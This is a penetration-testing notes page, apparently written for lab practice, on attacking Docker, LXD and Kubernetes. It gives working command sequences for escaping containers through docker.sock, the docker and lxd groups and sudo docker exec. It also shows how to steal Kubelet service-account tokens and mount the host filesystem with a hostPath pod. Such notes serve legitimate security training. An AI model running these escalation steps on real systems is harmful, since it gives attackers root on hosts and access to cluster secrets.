> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/containers-pentesting.md).

# Containers Pentesting

## Docker

### **Docker Architecture**

#### **Docker Daemon**

The `Docker Daemon`, also known as the Docker server, is a critical part of the Docker platform that plays a pivotal role in container management and orchestration.

It has several essential responsibilities like:

* running Docker containers
* interacting with Docker containers
* managing Docker containers on the host system.

#### **Docker Clients**

When we interact with Docker, we issue commands through the `Docker Client`, which communicates with the Docker Daemon (through a `RESTful API` or a `Unix socket`) and serves as our primary means of interacting with Docker.

#### **Docker Compose**

It is a tool that simplifies the orchestration of multiple Docker containers as a single application. It allows us to define our application's multi-container architecture using a  `YAML` (`.yaml`/`.yml`) file. With it, we can specify the services comprising our application, their dependencies, and their configurations. We define container images, environment variables, networking, volume bindings, and other settings.

#### **Docker Sockets**

A Docker socket or Docker daemon socket is a special file that allows us and processes to communicate with the Docker daemon. This communication occurs either through a Unix socket or a network socket. By exposing the Docker socket over a network interface, we can remotely manage Docker hosts, issue commands, and control containers and other resources.

{% hint style="info" %}
When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon, in turn, processes the command and carries out the requested actions.
{% endhint %}

{% hint style="info" %}
You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
{% endhint %}

#### Basic commands:

```bash
Intrusionz3r0X@htb[/htb]$ docker version #Get version of docker client, API, engine, containerd, runc, docker-init
Intrusionz3r0X@htb[/htb]$ docker info #Get more infomarion about docker settings
Intrusionz3r0X@htb[/htb]$ docker pull registry:5000/alpine #Download the image
Intrusionz3r0X@htb[/htb]$ docker inspect <containerid> #Get info of the contaienr
Intrusionz3r0X@htb[/htb]$ docker network ls #List network info
Intrusionz3r0X@htb[/htb]$ docker exec -it <containerid> /bin/sh #Get shell inside a container
Intrusionz3r0X@htb[/htb]$ docker commit <cotainerid> registry:5000/name-container #Update container
Intrusionz3r0X@htb[/htb]$ docker export -o alpine.tar <containerid> #Export container as tar file
Intrusionz3r0X@htb[/htb]$ docker save -o ubuntu.tar <image> #Export an image
Intrusionz3r0X@htb[/htb]$ docker ps -a #List running and stopped containers
Intrusionz3r0X@htb[/htb]$ docker stop <containedID> #Stop running container
Intrusionz3r0X@htb[/htb]$ docker rm <containerID> #Remove container ID
Intrusionz3r0X@htb[/htb]$ docker image ls #List images
Intrusionz3r0X@htb[/htb]$ docker rmi <imgeID> #Remove image
Intrusionz3r0X@htb[/htb]$ docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```

### Privilege escalation techniques

#### Docker socket is exposed

By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.

Download: <https://master.dockerproject.org/linux/x86_64/docker>

```bash
#Download docker binary into the container
Intrusionz3r0X@htb[/htb]$ wget https://<parrot-os>:443/docker -O docker
Intrusionz3r0X@htb[/htb]$ chmod +x docker

#Locate the docker.sock
Intrusionz3r0X@htb[/htb]$ find / -name "docker.sock" 2>/dev/null
/run/docker.sock

#List available images
Intrusionz3r0X@htb[/htb]$ /path/docker -H unix:///run/docker.sock images

#Create our own Docker container that maps the host’s root directory (/) to the /hostsystem directory on the container.
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostsystem <image> tail -f /dev/null

#Spawn shell
Intrusionz3r0X@container[/htb]$ /path/docker -H unix:///run/docker.sock exec -it 7ae3bcc818af /bin/bash
```

{% hint style="info" %}
You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
{% endhint %}

#### Docker Group privilege escalation

To gain root privileges through Docker, the user we are logged in with must be in the `docker` group. This allows him to use and control the Docker daemon. Usually, this socket is located in `/var/run/docker.sock`.

```bash
#List exist images
docker-user@nix02:~$ docker image ls
#create a container with direct, privileged access to the host's filesystem, allowing you to run commands as if you're on the host itself.
docker-user@nix02:~$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
```

## Docker breakout

### docker exec privilege escalation

If a user possesses the permission to execute `docker exec *` as root (without a password, ), you can leverage it to **escalate privileges and gain full control over the host system**. &#x20;

```sh
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

boris@ip-10-10-10-11:~$ ps -auxww | grep namespace
#root      1598  0.0  0.7 711452  7956 ?        Sl   03:35   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
<snif>

boris@ip-10-10-10-11:~$ echo e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 | head -c 12 | xargs
e6ff5b1cbc85

boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec -it --user root --privileged e6ff5b1cbc85 /bin/bash
bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device   Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/xvda1 *  0,32,33     20,84,31          2048   16777182   16775135 8190M 83 Linux
bash-5.1# mkdir /tmp/data
bash-5.1# mount /dev/xvda1 /tmp/data/
bash-5.1# cd /tmp/data/root/
.bash_history  .local/        .profile       .ssh/          root.txt       snap/          
bash-5.1# cat /tmp/data/root/root.txt 
VL{*******************************}
bash-5.1# 
```

### Docker breakout automatic tool

{% embed url="<https://github.com/stealthcopter/deepce>" %}

## LXD/LXC

Linux Containers (`LXC`) is an operating system-level virtualization technique that allows multiple Linux systems to run in isolation from each other on a single host by owning their own processes but sharing the host system kernel for them.

To gain root privileges through LXD/LXC, the user we are logged in with must be in the `lxd` group.

```bash
#Import an image by using a ubuntu-template
container-user@nix02:~$ lxc image import <image> --alias ubuntutemp

#List exist images
container-user@nix02:~$ lxc image list

#initiate the image by specifying the security.privileged to disable all isolation features that allow us to act on the host.
container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

#start the container and log into it
container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
```

## Kubernetes

{% hint style="info" %}
Understanding the security aspects of K8 containers is crucial. We will probably be able to access one of the many containers during our penetration test.
{% endhint %}

Awesome resource to get a complete understanding about kubernets:

* <https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-basics#kubernetes-basics>

**Differences between K8 and Docker**

| **Function** | **Docker**                       | **Kubernetes**                                |
| ------------ | -------------------------------- | --------------------------------------------- |
| `Primary`    | Platform for containerizing Apps | An orchestration tool for managing containers |
| `Scaling`    | Manual scaling with Docker swarm | Automatic scaling                             |
| `Networking` | Single network                   | Complex network with policies                 |
| `Storage`    | Volumes                          | Wide range of storage options                 |

Kubernetes architecture is primarily divided into two types of components:

* `The Control Plane` (master node), which is responsible for controlling the Kubernetes cluster
* `The Worker Nodes` (minions), where the containerized applications are run
* **Master node:** The master node hosts the Kubernetes `Control Plane`, which manages and coordinates all activities within the cluster and it also ensures that the cluster's desired state is maintained.
* **Minions:** execute the actual applications and they receive instructions from the Control Plane and ensure the desired state is achieved.
* The `Scheduler`, based on the `API server`, understands the state of the cluster and schedules new pods on the nodes accordingly. After deciding which node a pod should run on, the API server updates the `etcd`.

**Control Plane**

The Control Plane serves as the management layer. It consists of several crucial components, including:

| **Service**             | **TCP Ports**  |
| ----------------------- | -------------- |
| `etcd`                  | `2379`, `2380` |
| `API server`            | `6443`         |
| `Scheduler`             | `10251`        |
| `Controller Manager`    | `10252`        |
| `Kubelet API`           | `10250`        |
| `Read-Only Kubelet API` | `10255`        |

Kubernetes API

| **Request** | **Description**                                                |
| ----------- | -------------------------------------------------------------- |
| `GET`       | Retrieves information about a resource or a list of resources. |
| `POST`      | Creates a new resource.                                        |
| `PUT`       | Updates an existing resource.                                  |
| `PATCH`     | Applies partial updates to a resource.                         |
| `DELETE`    | Removes a resource.                                            |

**Authentication**

Kubernetes supports various methods such as

* client certificates,
* bearer tokens
* authenticating proxy
* HTTP basic auth

Once the user has been authenticated, Kubernetes enforces authorization decisions using Role-Based Access Control (`RBAC`).

The `Kubelet` can be configured to permit `anonymous access`. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous.

```bash
#Kubelet API - Extracting Pods
Intrusionz3r0X@htb[/htb]$ curl <https://10.129.10.11:10250/pods> -k | jq .
```

Understanding the container images and their versions used in the cluster can enable us to identify known vulnerabilities and exploit them to gain unauthorized access to the system.

* Namespace information can provide insights into how the pods and resources are arranged within the cluster, which we can use to target specific namespaces with known vulnerabilities.
* Metadata such as `uid` and `resourceVersion` to perform reconnaissance and recognize potential targets for further attacks.

{% hint style="info" %}
Disclosing the last applied configuration can potentially expose sensitive information, such as passwords, secrets, or API tokens, used during the deployment of the pods.
{% endhint %}

```bash
#Kubelet API - Extracting Pods
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 pods

#Kubelet API - enumerate Pods vulnerable to RCE
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 scan rce
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │              │                                    │             │                         │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.10.11 │ nginx                              │ default     │ nginx                   │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

#Kubelet API - Executing Commands
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

```

### Privilege Escalation

To gain higher privileges and access the host system we have to obtain the Kubernetes service account's `token` and `certificate` (`ca.crt`) from the server.

```bash

#Extract tokens
Intrusionz3r0X@htb[/htb]$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
#Extract certificates
Intrusionz3r0X@htb[/htb]$ kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
```

We can check the access rights in the Kubernetes cluster.

```bash
Intrusionz3r0X@htb[/htb]$ export token=`cat k8.token`
Intrusionz3r0X@htb[/htb]$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
Resources										Non-Resource URLs	Resource Names	Verbs 
selfsubjectaccessreviews.authorization.k8s.io		[]					[]				[create]
selfsubjectrulesreviews.authorization.k8s.io		[]					[]				[create]
pods                      											[]					[]				[get create list]
...SNIP...
```

We can `get`, `create`, and `list` pods and from here on, we can create a `YAML` file that we can use to create a new container and mount the entire root filesystem from the host system into this container's `/root` directory. From there on, we could access the host systems files and directories.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

```yaml
#Create Pod by utilizing the YAML
Intrusionz3r0X@htb[/htb]$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
#List the exist pods
Intrusionz3r0X@htb[/htb]$  kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
#Execute commands
cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "<command>" -p privesc -c privesc
```
